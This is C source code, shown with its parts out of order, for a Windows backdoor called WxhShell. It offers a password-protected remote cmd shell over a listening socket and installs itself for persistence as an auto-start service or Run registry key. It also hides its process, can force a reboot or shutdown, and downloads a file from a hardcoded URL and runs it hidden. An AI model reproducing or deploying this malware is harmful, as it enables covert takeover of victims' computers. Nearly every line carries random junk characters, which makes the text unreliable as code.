    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fuF!3Q  
    if(Boot(SHUTDOWN)) T?HW=v_a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `A ^  
    else { jcL%_of  
    closesocket(wsh); 4Be'w`Q {  
    ExitThread(0); l~Rd\.O  
    } iqr/MB,W  
    break; |Q?^Ba  
    } hU6oWm  
  // 获取shell chA7R'+LA  
  case 's': { h'ik19  
    CmdShell(wsh); 2xK v;  
    closesocket(wsh); cK.z&y0]  
    ExitThread(0); bYAtUEv  
    break; dTZ$92<  
  } #gsJ tT9  
  // 退出 7BkY0_KK  
  case 'x': { K*S3{s%UR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fj4>)!^kM  
    CloseIt(wsh); O+OUcMa,  
    break; 03H0(ku=  
    } 5XoM)  
  // 离开 A<''x'\/  
  case 'q': { yQ0:M/r;0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q|xa:`3?  
    closesocket(wsh); Z5|BwM  
    WSACleanup(); 0p]v#z}  
    exit(1); f~ wgMp.W0  
    break; 1]69S(  
        } v =d16  
  } {$g3R@f^~  
  } T>68 ,; p  
U0Uy C  
  // 提示信息 PdtL Cgd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @;\0cE n>  
} }i{A4f `  
  } Ad&VOh+0  
>L ')0<!&  
  return; Ej8g/{  
} XY#.?<"Q8  
RqX^$C8M  
// shell模块句柄 u}b%-:-  
int CmdShell(SOCKET sock) %=!] 1  
{ B"8jEYT5  
STARTUPINFO si; kH8/8  
ZeroMemory(&si,sizeof(si)); t{s*,X\b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ec2;?pvd%J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P ^ 4 @  
PROCESS_INFORMATION ProcessInfo; |]?zH~L  
char cmdline[]="cmd"; `/^ _W <  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u"4 B5D  
  return 0; T+^c=[W  
} 7Ja*T@ !h  
@S=9@3m{w;  
// 自身启动模式 AJm$(3?/D  
int StartFromService(void) 7i!VgV  
{ Ek1c>s,t  
typedef struct tj$[szo  
{ em'ADRxG+  
  DWORD ExitStatus; 2?SbkU/3|P  
  DWORD PebBaseAddress; {`G d  
  DWORD AffinityMask; Qz3Z_V4k9  
  DWORD BasePriority; 7f4O~4.[i  
  ULONG UniqueProcessId; 5dB62dqN  
  ULONG InheritedFromUniqueProcessId; +FAj30  
}   PROCESS_BASIC_INFORMATION; ZP5 !O[Ut  
mf)+ 5On  
PROCNTQSIP NtQueryInformationProcess; N!Rt040.%  
.p,VZ9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x-e6[_F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mx$&{.LFJ  
!3Pbu=(cte  
  HANDLE             hProcess; marZA'u%B1  
  PROCESS_BASIC_INFORMATION pbi; y?3.W  
# )y/aA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c~?Zmdn:  
  if(NULL == hInst ) return 0; "J`&"_CyZ  
? ep#s$i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ".tL+A[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >a,D8M?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =jJEl=*S  
?)y^ [9  
  if (!NtQueryInformationProcess) return 0; KGHSEZi]  
m^G(qoZ]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kB> ~Tb0  
  if(!hProcess) return 0; acR|X@ \3  
Pp s-,*m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -g]Rs!w'  
8&)v%TX  
  CloseHandle(hProcess); *L$2M?xkY  
[/UchU]DT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WXl+w7jr  
if(hProcess==NULL) return 0; 6JDHwV  
4 "HX1qP  
HMODULE hMod; |zYOCDFf  
char procName[255]; &~ y)b`r  
unsigned long cbNeeded; >F7w]XH  
^ RA'E@ "  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jpj=d@Of70  
r8J7zTD&  
  CloseHandle(hProcess); KLg1(W(  
G @..?>  
if(strstr(procName,"services")) return 1; // 以服务启动 /i'078F  
K>@yk9)vi  
  return 0; // 注册表启动 En?V\|,  
} HYmC3  
"6$V1B0KW  
// 主模块 d,V#5l-6  
int StartWxhshell(LPSTR lpCmdLine) $zM shLT  
{ -3EQRqVg  
  SOCKET wsl; NXU:b"G S  
BOOL val=TRUE; YAr6 cl  
  int port=0; /SD}`GxH  
  struct sockaddr_in door; .$qa?$@  
u0q$`9J  
  if(wscfg.ws_autoins) Install(); MzJCiX^  
?Z7`TnG$uf  
port=atoi(lpCmdLine); 5i!Q55Yv=,  
5Q?Jm~H9  
if(port<=0) port=wscfg.ws_port; {^VtD  
Gk,Bx1y  
  WSADATA data; Ts5)r(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~s!Q0G^G  
94u{k1d x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KP&+fDa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1- KNXGb'  
  door.sin_family = AF_INET; Z/#_Swv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OXEk{#Uf[3  
  door.sin_port = htons(port); 'cW^S7  
B$4*U"tk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *'< AwG&  
closesocket(wsl); -/yqiC-yx  
return 1; Xn6#q3;^|  
} $)i`!7`4=  
-+#%]P8l  
  if(listen(wsl,2) == INVALID_SOCKET) { ;H_/o+  
closesocket(wsl); -aoYoJ '  
return 1; ^X=Q{nB  
} ;[v!#+yml  
  Wxhshell(wsl); Q]:O#;"<  
  WSACleanup(); SepjF  
|VBt:dd<  
return 0; PobX;Z  
qpjY &3SI  
} Ot=jwvw  
WJShN~ E  
// 以NT服务方式启动 +HK4sA2;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zA,vp^  
{ 2;}leZ@U  
DWORD   status = 0; 7=G 2sOC  
  DWORD   specificError = 0xfffffff; hnnB4]c  
*$tXm4 O[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JzyCeM =  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mzgt>Qtkz=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pGbfdX  
  serviceStatus.dwWin32ExitCode     = 0; 7#V7D6j1  
  serviceStatus.dwServiceSpecificExitCode = 0; ZlT }cA/n  
  serviceStatus.dwCheckPoint       = 0; Y-VDi.]W  
  serviceStatus.dwWaitHint       = 0; -;""l{  
pwFp<O"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &,X}M  
  if (hServiceStatusHandle==0) return; k(gbUlCc  
nL@'??I1  
status = GetLastError(); =|t-0'RsN  
  if (status!=NO_ERROR) aukcO ;oG<  
{ |23F@s1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +;N]34>S7  
    serviceStatus.dwCheckPoint       = 0; &Mh.PzO=b  
    serviceStatus.dwWaitHint       = 0; 5mH [|_  
    serviceStatus.dwWin32ExitCode     = status; m%'nk"p9  
    serviceStatus.dwServiceSpecificExitCode = specificError; agIqca;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~q$]iwwqT  
    return; Y:^hd809  
  } q<3nAE$?=  
i8iT}^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5`;SI36"  
  serviceStatus.dwCheckPoint       = 0; Od1\$\4Z  
  serviceStatus.dwWaitHint       = 0; mdi!Q1pS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i:lc]B  
} GQ2GcX(E(  
7?P'f3)fG  
// 处理NT服务事件,比如:启动、停止 /MZ<vnN7f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3CCs_AO  
{ i3-5~@M  
switch(fdwControl) c%&,(NJ]K  
{ ]'.qRTz'\t  
case SERVICE_CONTROL_STOP: Kb~nC6yJc  
  serviceStatus.dwWin32ExitCode = 0; ~i,d%a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uGU 2  
  serviceStatus.dwCheckPoint   = 0; H2X_W Swm  
  serviceStatus.dwWaitHint     = 0; K #3^GB3P  
  { 5 jrR]X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #S>N}<>  
  } Ly= .  
  return; Dri6\/0  
case SERVICE_CONTROL_PAUSE: B'Yx/c&n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HQ-[k$d W4  
  break; Fh~9(Y#  
case SERVICE_CONTROL_CONTINUE: ^ u$gO3D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;,y_^-h;  
  break; 5Tsz|k  
case SERVICE_CONTROL_INTERROGATE: P`tOL#UeZL  
  break; 2&hv6Y1  
}; SKG U)Rn;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gS(3m_  
} $tlBI:ay1  
+17!v_4^  
// 标准应用程序主函数 ko%mZ0Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =?]`Xo,v~  
{ \VPw3  
'4,?YcZ?S  
// 获取操作系统版本 HT7,B(.}  
OsIsNt=GetOsVer(); &A:&2sP8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5BrN uR$  
s}zR@ !`  
  // 从命令行安装 1^_W[+<S/  
  if(strpbrk(lpCmdLine,"iI")) Install(); !(*&P  
@!;A^<{ka  
  // 下载执行文件 *r.% /^@  
if(wscfg.ws_downexe) { :6n4i$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |5>Tf6 $(  
  WinExec(wscfg.ws_filenam,SW_HIDE); /#9P0@Y  
} tY$@,>2v  
~n -N  
if(!OsIsNt) { 4m~y%> &  
// 如果时win9x,隐藏进程并且设置为注册表启动 W@!qp  
HideProc(); Mg >%EH/'  
StartWxhshell(lpCmdLine); gY+d[3N  
} nw+t!C  
else JCH9~n.  
  if(StartFromService()) %XR(K@V  
  // 以服务方式启动 =t N}4  
  StartServiceCtrlDispatcher(DispatchTable); oVK?lQ~y  
else "]3o93 3 D  
  // 普通方式启动 A}"|_ &E  
  StartWxhshell(lpCmdLine); %C%3c4+Oh  
Q 1i5"'][  
return 0; ^a qQw u  
} g Cp`J(2v:  
n)N!6u  
ts=D  
IFW(nB(  
=========================================== M._h=wX{}  
PE.UNo>o  
5]mH.{$x$?  
FOD'&Yb&  
zMepF]V  
uj;iE 9  
" h~QQ-  
q AVypP?J  
#include <stdio.h> U| yt   
#include <string.h> h0-.9ym  
#include <windows.h> ju:}%'  
#include <winsock2.h> j7d^g a-`  
#include <winsvc.h> 0aq{Y7sYU  
#include <urlmon.h> 5%wA"_  
q'fOlq  
#pragma comment (lib, "Ws2_32.lib") I3Co   
#pragma comment (lib, "urlmon.lib") J_a2DM6d  
ZYY`f/qi  
#define MAX_USER   100 // 最大客户端连接数 _e8Gt6>  
#define BUF_SOCK   200 // sock buffer %-YWn`yEm  
#define KEY_BUFF   255 // 输入 buffer K}q5,P(  
Cm5L99Y  
#define REBOOT     0   // 重启 Vh01y f  
#define SHUTDOWN   1   // 关机 uD{^1c3x  
0^L:`[W+  
#define DEF_PORT   5000 // 监听端口 Rhlm  
pVl7] _=m  
#define REG_LEN     16   // 注册表键长度 %/)z!}{  
#define SVC_LEN     80   // NT服务名长度 x`2dN/wDhf  
 Z a,o  
// 从dll定义API i Ya)*,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {OQ)Np!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oGXcu?ft  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w3iX "w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I(>_as\1  
X+;#^A3  
// wxhshell配置信息 hey/#GC*  
struct WSCFG { hQ)?LPUB  
  int ws_port;         // 监听端口 e\#aQ1?"  
  char ws_passstr[REG_LEN]; // 口令 Oo!]{[}7  
  int ws_autoins;       // 安装标记, 1=yes 0=no }If,O  
  char ws_regname[REG_LEN]; // 注册表键名 <,*w$  
  char ws_svcname[REG_LEN]; // 服务名 0/fwAp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e*<pO@Uy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [ P*L`F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K-(C5 "j_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nog{w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uw>y*OLU+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .dc|?$XV  
F(U(b_DPM  
}; gYpFF=7j<@  
Kk% I N9  
// default Wxhshell configuration 25vq#sS]  
struct WSCFG wscfg={DEF_PORT, - Lsl  
    "xuhuanlingzhe", ;F2"gTQS  
    1, 7*+tG7I @  
    "Wxhshell", 3cH^ ,F  
    "Wxhshell", 43`Atw`\  
            "WxhShell Service", `'rvDaP  
    "Wrsky Windows CmdShell Service", [ 7{cf`C  
    "Please Input Your Password: ", %u?A>$Jn  
  1, M\08 7k  
  "http://www.wrsky.com/wxhshell.exe", e9F+R@8  
  "Wxhshell.exe" ?R@u'4yK  
    }; :K*/  
m*AiP]Qu  
// 消息定义模块 `:gXQmt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |kHzp^S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |pT[ZT|}G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SG)|4$"  
char *msg_ws_ext="\n\rExit."; e=i9l  
char *msg_ws_end="\n\rQuit."; >)F)@KAuN4  
char *msg_ws_boot="\n\rReboot..."; +W|VCz  
char *msg_ws_poff="\n\rShutdown..."; q] '2'"k  
char *msg_ws_down="\n\rSave to "; ,u5iiR  
]%(X }]}  
char *msg_ws_err="\n\rErr!"; .A7ON1lc^C  
char *msg_ws_ok="\n\rOK!"; _.GHtu/I  
JPe<qf-  
char ExeFile[MAX_PATH]; D' h%.  
int nUser = 0; |zp}u(N  
HANDLE handles[MAX_USER]; 8J0#lu  
int OsIsNt; %PM8;]  
JIMi~mEiN  
SERVICE_STATUS       serviceStatus; {G-y7y+E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5Noy~;  
~#:R1~rh\e  
// 函数声明 TdrRg''@  
int Install(void); $mst\]&;  
int Uninstall(void); -pN'r/$3V  
int DownloadFile(char *sURL, SOCKET wsh); CuYSvW  
int Boot(int flag); M^y5 Dep  
void HideProc(void); KD8,a+GL  
int GetOsVer(void); O<+x=>_  
int Wxhshell(SOCKET wsl); g-2(W   
void TalkWithClient(void *cs); l\&Tw[O  
int CmdShell(SOCKET sock); *qw//W   
int StartFromService(void); RA:3ZV  
int StartWxhshell(LPSTR lpCmdLine); Nk$OTDwP  
joJQ?lG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wGx*Xy1n<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <w0$0ku  
0 t0m?rVW  
// 数据结构和表定义 j7=x&)qbx  
SERVICE_TABLE_ENTRY DispatchTable[] = MY z\ R \  
{ `>\>'V<&  
{wscfg.ws_svcname, NTServiceMain}, +#7)'c  
{NULL, NULL} LVNJlRK  
}; >?^_JE C6  
Kd').w  
// 自我安装 f VpE&F  
int Install(void) sEEyN3 N  
{ W4S! rU  
  char svExeFile[MAX_PATH]; bjB4  
  HKEY key; ;Km74!.e7  
  strcpy(svExeFile,ExeFile); = ^_4u%}  
Et+WLQ6)  
// 如果是win9x系统,修改注册表设为自启动 0I"r*;9?K  
if(!OsIsNt) { *waaM]u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ^#&:-4/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <P1x3  
  RegCloseKey(key); 6@geakq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  j#YPo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M%qHf{ B  
  RegCloseKey(key); \LQ54^eB  
  return 0; xPorlX)zW  
    } MXGz_Db4'  
  } h5VZ-v_j  
} )~H&YINhn  
else { %g{<EuK]p  
0XUWK@)P  
// 如果是NT以上系统,安装为系统服务 31k2X81;a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O}mz@- Z  
if (schSCManager!=0) 8)51p+a  
{ IO}53zn<l  
  SC_HANDLE schService = CreateService @;ob 4sU  
  ( C`r{B.t`GT  
  schSCManager, !OL[1_-4|K  
  wscfg.ws_svcname, RG V}c#  
  wscfg.ws_svcdisp, 0`%Ask  
  SERVICE_ALL_ACCESS, "6 \_/l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E7>D:BQ\2  
  SERVICE_AUTO_START, & ( i_s  
  SERVICE_ERROR_NORMAL, QeNN*@ ='i  
  svExeFile, hmM2c15T5  
  NULL, 9@yi UX  
  NULL, &_ W~d0  
  NULL, {bD:OF  
  NULL, p^THoF'~T  
  NULL ,)%$Zxng  
  ); vG'I|OWg  
  if (schService!=0) +X|^ ~)tMJ  
  {  "DsL$D2e  
  CloseServiceHandle(schService); 8q_"aa,`  
  CloseServiceHandle(schSCManager); (~OP)F).  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m%)Cw)t 7  
  strcat(svExeFile,wscfg.ws_svcname); wC`+^>WFo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m)Sdo gt_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nX|]JW  
  RegCloseKey(key); 9A!B|s  
  return 0; 6&s" "J)3  
    } /+ Q3JS(  
  } l7vxTj@(-  
  CloseServiceHandle(schSCManager); tiQeON-Q_  
} QP:|D_k  
} W}aCU~  
"`Mowp*  
return 1; > xie+ ^  
} tv'=xDCp  
"#G`F  
// 自我卸载 -cP7`.a  
int Uninstall(void) crl"Ec  
{ ^g N/5  
  HKEY key; \k>1q/T0V  
;\(X;kQi  
if(!OsIsNt) { .-4]FGg3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "^NsbA+  
  RegDeleteValue(key,wscfg.ws_regname); cT(=pMt8>  
  RegCloseKey(key); p4^&G/'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y ]D[JX[  
  RegDeleteValue(key,wscfg.ws_regname); 8"yZS)09  
  RegCloseKey(key); >vKOG@I  
  return 0; r<c&;*  
  } Q%!Dk0-)  
} %_%Bb Qf  
} E(g$f.9  
else { FL E3LH  
o8h` 9_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7ro&Q%  
if (schSCManager!=0) pj#ls  
{ Z~1uyr(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uZe"M(3r$  
  if (schService!=0) d3"QCl  
  { [ahK+J  
  if(DeleteService(schService)!=0) { TE% i   
  CloseServiceHandle(schService); J>8kJCh9g  
  CloseServiceHandle(schSCManager); 8e32NJ^k~  
  return 0; X+kgx!u'y  
  } 2Og<e|  
  CloseServiceHandle(schService); l!mx,O`  
  } gfJHB3@  
  CloseServiceHandle(schSCManager); G.3yuok9  
} i"d&U7Q  
} [,56oMd~  
vEw8<<cgg  
return 1; (\UpJlW  
} 6{!Cx9V  
$:RR1.Tv  
// 从指定url下载文件 0Ua&_D"  
int DownloadFile(char *sURL, SOCKET wsh) >Og|*g  
{ V{UY_ e8W  
  HRESULT hr; _p^$.\k"  
char seps[]= "/"; NG_7jZzXA9  
char *token; h43py8v  
char *file; 3,?LpdTS  
char myURL[MAX_PATH]; h"7~`!"~  
char myFILE[MAX_PATH]; {mUt|m 7!  
iDWM-Ytx  
strcpy(myURL,sURL); .$fSWlM;  
  token=strtok(myURL,seps); 6aLRnH"Ud  
  while(token!=NULL) c9x&:U  
  {  |A\o  
    file=token;  +;-ZU  
  token=strtok(NULL,seps); :b] \*  
  } U"=Lzo.0  
+)LCYDRV7  
GetCurrentDirectory(MAX_PATH,myFILE); C\4d.~C:w3  
strcat(myFILE, "\\"); QBh*x/J  
strcat(myFILE, file); n?U^vK_  
  send(wsh,myFILE,strlen(myFILE),0); ^a<kp69qS  
send(wsh,"...",3,0); ~ #7@;C<nt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #Vu;R5GZ}  
  if(hr==S_OK) />N#PF  
return 0; @]!9;?so  
else XFYa+]B2q  
return 1; y^z c @f  
1_};!5$.  
} et"Pb_-U  
`NTtw;%Y  
// 系统电源模块 \d*ts(/a*  
int Boot(int flag) IEfYg(c0U  
{ 5KP\#Y  
  HANDLE hToken; KY}H-  
  TOKEN_PRIVILEGES tkp; Q :.i[  
KaX*) P  
  if(OsIsNt) { ~sZ$`t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @v#,SF{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~> N63I6  
    tkp.PrivilegeCount = 1; J ?EDz,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?T.=y m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )ki Gk}2  
if(flag==REBOOT) { >cLh$;l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j ijwHL  
  return 0; ;rF[y7\  
} `a!9_%|8  
else { .rITzwgB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wZN_YFwQ  
  return 0; $8xb|S[  
} !/!ga)Y  
  } jCXBp>9$M  
  else { PZ`11#bbm  
if(flag==REBOOT) { &x[7?Y L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :o .+<_ &  
  return 0; #\ `kg#&  
} +'-.c"  
else { Mn/@?K?y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EEnl'  
  return 0; K, I  
} hxK;f  
} 3fp&iz  
~bC A8  
return 1; vsZ?cd  
} XL^05  
jS~Pdz  
// win9x进程隐藏模块 6o7t eX  
void HideProc(void) Ei):\,Nv  
{ &e@)yVLL  
5K2K'ZkI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3V?x&qlP>  
  if ( hKernel != NULL ) .1jiANY  
  { L/r_MtN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U31@++C[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); * dw.Ug  
    FreeLibrary(hKernel); N{S) b  
  } 8"9&x} tl-  
nAEyL+6U  
return; UJSIbb5  
} Mh4MaLw  
;_)~h$1%=  
// 获取操作系统版本 3g;,  
int GetOsVer(void) +Gt9!x}#e  
{ T1 $E][@Iv  
  OSVERSIONINFO winfo; e5>'H!)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a @2fJ}  
  GetVersionEx(&winfo); {]<c6*gQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,M;9|kE*  
  return 1; rBNVI;JZW  
  else hc[ K VLpS  
  return 0; fk5'v   
} AtG~!)hG  
)6C+0b*  
// 客户端句柄模块 KU/r"lMNlU  
int Wxhshell(SOCKET wsl) 3TF_$bd{  
{ 0_gN]>,9n  
  SOCKET wsh; vKG\8+  
  struct sockaddr_in client; %S^hqC  
  DWORD myID; #f2k*8"eAF  
OL>>/T  
  while(nUser<MAX_USER) phuiLW{&  
{ u^tQ2&?O!P  
  int nSize=sizeof(client); # dWz,e3   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rMDvnF  
  if(wsh==INVALID_SOCKET) return 1; #ODP+>-IjB  
9j>2C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {5E8eQ  
if(handles[nUser]==0) h9H z6 >  
  closesocket(wsh); mrP48#Y+l  
else x|rc[e%k  
  nUser++; '^m.vS!/  
  } 9&eY<'MgP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |q*yuK/  
NZvgkci_(u  
  return 0; hu}$\  
} lKf58 mB  
HoGYgye=  
// 关闭 socket = j1Jl^[  
void CloseIt(SOCKET wsh) H -Mb:4  
{ 0~qc,-)3  
closesocket(wsh); " ]S  
nUser--; d+q],\"R  
ExitThread(0); .Fo#Dmq3  
} WywS1viD  
lmeTW0U@9(  
// 客户端请求句柄 n~I-mR)"  
void TalkWithClient(void *cs) /+Z*)q+SbT  
{ r].n=455[  
A & iv  
  SOCKET wsh=(SOCKET)cs; "2cOSPpQL  
  char pwd[SVC_LEN]; <w2h@ea  
  char cmd[KEY_BUFF];  >(Y CZ  
char chr[1]; ojd0um6I{  
int i,j; *dw.=a9  
d_!Z /M,  
  while (nUser < MAX_USER) { ;4rhh h&  
S^rf^%  
if(wscfg.ws_passstr) { &<F9Z2^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T*x2+(r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xb;{<~`71  
  //ZeroMemory(pwd,KEY_BUFF); lz,M$HG<[  
      i=0; +RooU?Aq  
  while(i<SVC_LEN) { CP7dn/  
*ub2dH4/  
  // 设置超时 4IeCb?  
  fd_set FdRead; Scrj%h%[  
  struct timeval TimeOut; :?Ns>#6t  
  FD_ZERO(&FdRead); 2%%\jlT_  
  FD_SET(wsh,&FdRead); f^F;`;z  
  TimeOut.tv_sec=8; P 45Irir  
  TimeOut.tv_usec=0; T9nb ~ P[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  !VGG2N8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c{M ,K  
)WqolB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6 s=VU\  
  pwd=chr[0]; `2.c=,S{  
  if(chr[0]==0xd || chr[0]==0xa) { _;HdX$op  
  pwd=0; g|~px$<iY  
  break; p'jc=bL E  
  } 0m_yW$w  
  i++; [IYVrT&C'  
    } 2k.VTGak  
@Xo*TJB  
  // 如果是非法用户,关闭 socket (nqry[g&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *ID=X!v  
} 94tfR$W;-  
kdNo<x1o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FGV L[\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a"jE\OZ{+s  
&L8RLSfX  
while(1) { t13V>9to  
:v^/k]S  
  ZeroMemory(cmd,KEY_BUFF); -XBZ1q  
!5ps,+o  
      // 自动支持客户端 telnet标准   Os9SfL  
  j=0; ] ?DU8  
  while(j<KEY_BUFF) { m{q'RAw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (:l6R9'=  
  cmd[j]=chr[0]; 5JzvT JMx  
  if(chr[0]==0xa || chr[0]==0xd) { n>'(d*[e&  
  cmd[j]=0; S=qh7ML  
  break; KF rsXf  
  } $)M3fZ$#  
  j++; )iN;1>  
    } f}-'67*Y  
<i~xJi%1#  
  // 下载文件 SXL3>-Z E  
  if(strstr(cmd,"http://")) { {$frR "K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4"P9z}y=i  
  if(DownloadFile(cmd,wsh)) o 4F'z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MPB[~#:  
  else 7b"fpB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | eBwcC#^  
  }  [Sm<X  
  else { MLDzWZ~}ef  
63fYX"  
    switch(cmd[0]) { u zZ|0  
